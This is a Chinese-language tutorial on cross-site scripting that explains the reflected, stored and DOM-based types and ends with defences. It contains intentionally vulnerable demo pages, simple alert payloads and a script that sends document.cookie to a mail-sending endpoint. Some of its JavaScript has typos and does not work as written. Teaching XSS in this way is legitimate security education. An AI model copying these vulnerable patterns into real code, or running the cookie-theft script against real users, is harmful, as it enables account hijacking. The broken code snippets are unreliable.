文章目录
一.XSS漏洞简介
XSS漏洞(Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者在受害者的浏览器中注入恶意脚本。当受害者访问包含恶意脚本的网页时,攻击者就可以利用该漏洞来执行任意的代码,例如窃取用户的敏感信息、修改网页内容或进行其他恶意活动。
二.XSS漏洞类型
XSS漏洞是一种跨站脚本攻击漏洞,常见的XSS漏洞类型包括:
-
存储型XSS:攻击者在目标网站的数据库中存储恶意脚本,当其他用户访问受影响的页面时,恶意脚本会被执行。
-
反射型XSS:攻击者构造恶意URL,将恶意脚本注入到URL参数中,当用户点击这个URL时,恶意脚本会被执行。
-
DOM型XSS:攻击者通过修改页面的DOM结构来触发XSS漏洞,常见的攻击方式包括修改URL参数、修改表单数据等。
三.实战案例
反射型XSS
当受害者点击黑客发送的恶意脚本连接后会访问URL对应的服务器若,此时服务器未对响应内容进行过滤,将请求内容原封不动的回显给受害者,受害者的浏览器会解析恶意脚本并执行该脚本进而被攻击,如窃取cookie值等。
<!<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>反射型XSS</title>
<script type="text/javascript">
var s=location.search; //返回URL中的?之后的查询部分
s=s.substring(1,s.length); //返回整个查询内容
var url=""
if(s.indexOf("url=")>-1){ //判断url是否为空
var pos=s.indexof("url")+4; //过滤掉"url="字符
url=s.substring(pos,s.length);//得到地址栏中的URL参数
}else{
url="url参数为空"
}
document.write("url:<a href='"+url+"'>"+url+"</a>");
</script>
</head>
<body>
</body>
</html>
当我们在URL中插入恶意的URL(如:恶意脚本),当用户点击该恶意脚本的连接,恶意脚本将会被执行,如下图:
存储型XSS
利用存储型XSS窃取Cookie并发送到邮箱案例:
#PHP窃取cookie脚本
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src= 'http://localhost/xss/sendmail.php?mycookie='+encodeURIComponent(document.cookie);
注:document.cookie:返回访问当前网页的cookie
sendmail.php:邮件发送程序
实现的功能:将cookie发送到对应的邮箱
当我们在输入框中输入恶意脚本后,若未对输入进行过滤,脚本将被保存在服务器的数据库中。
当用户输入的URL刚好需要访问恶意脚本时,恶意脚本将被程序返回给用户并被调用,此时用户访问该网站的cookie将被发送到预先设置好的邮箱。
DOM型XSS
DOM型XSS的攻击利用了网页中的客户端脚本,而不是服务器端的脚本。攻击者通过构造恶意的URL或输入,将恶意代码注入到网页的DOM中,然后在用户的浏览器中执行。
演示案例:
<input id="text" name="text" type="text" value="">
<input id="button" type="button" value="click me!" onclick="domxss()">
<div id="dom"></div>
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML="<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
上述代码中当点击“click me” 后 JS代码会将文本框中输入的内容以链接的形式插入到id=“dom”的节点标签中,下面当让我们输入一段网址来测试一下:
当我们点击“what do you see ” 会自动跳转到百度,上述案例是一个DOM型XSS漏洞的典型案例,攻击者通过构造恶意的URL或输入,将恶意代码注入到网页的DOM中,当用户点击后浏览器会执行恶意的URL,无需与服务端交互即可完成攻击。
显然,作为一名黑客并不会傻傻的告诉受害者访问我给你的链接并在文本框中输入我给你的这段代码,你再去点击访问;因此在实际场景中DOM型XSS一般与反射性XSS相结合,黑客事先找到一个同时存在反射型与DOM型漏洞同时存在的网站,黑客会将恶意JS代码插入到URL中,同时该恶意的JS代码也会被插入到该网页中存在DOM型漏洞的DOM标签节点中。
演示案例:
#点击按钮后将文本框中的内容以get方式提交
<form method="get">
<input id="text" name="text" type="text" value="">
<input id="submit" type="submit" value="请说出你的伤心往事">
</form>
<div id="dom"></div>
<a href="#" onclick="domxss()">有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
<script>
function domxss(){
//获取当前网页的URL中的查询参数部分并赋值给str
var str=window.location.search;
//获取str中text后面的第一个元素并赋值给XSS
var txss=decodeURIComponent(str.split("text="[1]));
//替换txss变量中的空格字符为+号
var XSS=txss.replace(/\+/g." ");
//获取当前页面id=“dom”的标签并插入链接,链接地址为XSS
document.getElementBYId("dom").innerHTML=
"<a href='"+xss+"'>就让往事随风,都随风吧</a>";
}
</script>
上述案例中,黑客在URL中插入的恶意脚本也会被插入到存在id=“dom”的标签节点中,当受害者接收到黑客发送的恶意URL时,一但点击插入恶意脚本的标签节点,恶意脚本就会被执行;
由于DOM型+反射型XSS的这种攻击方式,可以使得黑客在DOM节点中提前插入恶意脚本,受害者仅需点击执行即可,与单纯的DOM型XSS相比,无需将恶意脚本发给受害者再通过手段让受害者主动插入恶意脚本,大大提升了攻击的成功性。
四.防护措施
要防止XSS(跨站脚本攻击)漏洞,可以采取以下措施:
-
输入验证和过滤:对用户输入的数据进行有效的验证和过滤,以确保不会包含恶意的脚本代码。可以使用正则表达式、编码函数或专门的输入过滤器来实现。
-
输出编码:在将用户输入的数据显示在网页上之前,对其进行适当的输出编码,以防止浏览器将其解析为脚本代码。可以使用HTML实体编码、URL编码或JavaScript编码等方法。
-
设置HTTP头:在网页中设置Content-Security-Policy(CSP)头,限制页面中可以加载和执行的资源,包括脚本文件、样式表和图片等。这可以防止恶意脚本被加载和执行。
-
使用Web应用防火墙(WAF):部署WAF可以对传入的请求进行检测和过滤,以防止XSS攻击。WAF可以根据已知的攻击模式和签名来识别和阻止恶意请求。
-
设置cookie的HttpOnly属性:将cookie的HttpOnly属性设置为true,可以防止通过JavaScript访问和窃取cookie信息,从而减少XSS攻击的可能性。
此外,保持网站和服务器的安全性也非常重要,例如及时更新软件和插件,使用HTTPS协议进行数据传输等,这些措施可以降低XSS攻击的风险。